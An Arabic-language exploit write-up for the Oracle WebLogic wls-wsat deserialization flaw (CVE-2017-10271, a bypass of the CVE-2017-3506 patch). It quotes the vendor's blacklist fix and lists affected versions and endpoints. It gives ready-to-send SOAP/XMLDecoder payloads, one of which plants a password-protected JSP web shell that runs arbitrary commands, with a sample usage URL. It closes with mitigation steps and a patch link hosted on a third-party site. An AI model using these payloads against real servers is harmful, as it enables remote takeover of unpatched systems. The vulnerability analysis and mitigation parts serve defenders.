
استغلال لـ Oracle WebLogic CVE-2017-10271 (تجاوز wls-wsat RCE) مع نصوص PoC لتنفيذ الأوامر عن بُعد والحصول على cmd shell على الخوادم الضعيفة.
mitre:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-3506
في وقت مبكر، استغل المخترقون ثغرة في مكون WLS من WebLogic لشن هجمات عن بعد واسعة النطاق على خوادم المؤسسات، مما أدى إلى اختراق عدد كبير من الخوادم، مع ارتفاع ملحوظ في عدد الخوادم المستهدفة، مما يستدعي اهتماماً كبيراً. تُعد CVE-2017-3506 ثغرة تنفيذ كود عن بعد في مكون WLS من Oracle WebLogic، وهي ثغرة مستغلة في البرية دون تفاصيل منشورة، والعديد من المؤسسات لم تقم بتثبيت التصحيح بعد. أصدرت الشركة الرسمية التصحيح لهذه الثغرة في أبريل 2017.
وصف تصحيح CVE-2017-3506:
public WorkContextXmlInputAdapter(InputStream is)
{
ByteArrayOutputStream baos = new ByteArrayOutputStream();
try
{
int next = 0;
next = is.read();
while (next != -1)
{
baos.write(next);
next = is.read();
}
}
catch (Exception e)
{
throw new IllegalStateException("Failed to get data from input stream", e);
}
validate(new ByteArrayInputStream(baos.toByteArray()));
this.xmlDecoder = new XMLDecoder(new ByteArrayInputStream(baos.toByteArray()));
}
private void validate(InputStream is)
{
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try
{
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler()
{
public void startElement(String uri, String localName, String qName, Attributes attributes)
throws SAXException
{
if (qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid context type: object");
}
}
});
}
catch (ParserConfigurationException e)
{
throw new IllegalStateException("Parser Exception", e);
}
catch (SAXException e)
{
throw new IllegalStateException("Parser Exception", e);
}
catch (IOException e)
{
throw new IllegalStateException("Parser Exception", e);
}
}
تمت إضافة دالة validate فقط قبل إلغاء التسلسل، والتي ترمي استثناءً إذا كان qName يساوي object، وتنهي التنفيذ. بسيطة وعنيفة، ولكن من الصعب إصلاح هذه القائمة السوداء بشكل كامل. جدير بالتأمل...
طريقة استغلال هذه الثغرة بسيطة نسبياً، حيث يحتاج المهاجم فقط إلى إرسال طلب HTTP معد بعناية للحصول على صلاحية الخادم المستهدف، مما يشكل خطراً كبيراً. نظراً لأن الثغرة حديثة، لا تزال العديد من المضيفين لم يقموا بتثبيت التصحيح المناسب. من المتوقع بعد هذا الحادث المفاجئ، أن تزداد أعداد الهجمات بشكل كبير، وسيتم اختراق العديد من المضيفين الجدد.
تصحيح Oracle الرسمي في أبريل لم يصلح ثغرة CVE-2017-3506 بشكل كامل، ويمكن تجاوز التصحيح وتنفيذ أوامر عن بعد. تم إصلاح ثغرة CVE-2017-10271 (التي تتجاوز التصحيح) في التصحيح الذي أصدرته الشركة في أكتوبر.
CVE-2017-10271 (ثغرة تجاوز تنفيذ الأوامر عن بعد في wls-wsat)
Oracle WebLogic Server 10.3.6.0.0
Oracle WebLogic Server 12.1.3.0.0
Oracle WebLogic Server 12.2.1.1.0
Oracle WebLogic Server 12.2.1.2.0
/wls-wsat/CoordinatorPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/ParticipantPortType
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/RegistrationRequesterPortType11
Content-Type: text/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><java version="1.4.0" class="java.beans.XMLDecoder"><object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string><void method="println"><string><![CDATA[<% if("secfree".equals(request.getParameter("password"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("command")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
} %>]]></string></void><void method="close"/></object></java></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>
استغلال
CmdShell : http://www.xxx.com/bea_wls_internal/test.jsp?password=secfree&command=whoami
استغلال
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.6.0" class="java.beans.XMLDecoder">
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="1">
<void index="0">
<string>calc</string>
</void>
</array>
<void method="start"/>
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
استغلال
استغلال
استغلال

http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html https://lipeng1943.com/download/weblogic_patch-catalog_25504.zip
التحكم في الوصول إلى موارد wls-wsat.
حل مؤقت
في حال عدم التأثير على الخدمة، احذف حزم war والمسارات التالية من WebLogic وفقاً للمسار الفعلي للبيئة.
rm -f/home/WebLogic/Oracle/Middleware/wlserver_10.3/server/lib/wls-wsat.war
rm -f/home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war
rm -rf/home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat
أعد تشغيل خدمة WebLogic أو النظام، ثم تأكد من أن الرابط التالي يعيد 404:
http://ip:port/wls-wsat/CoordinatorPortType11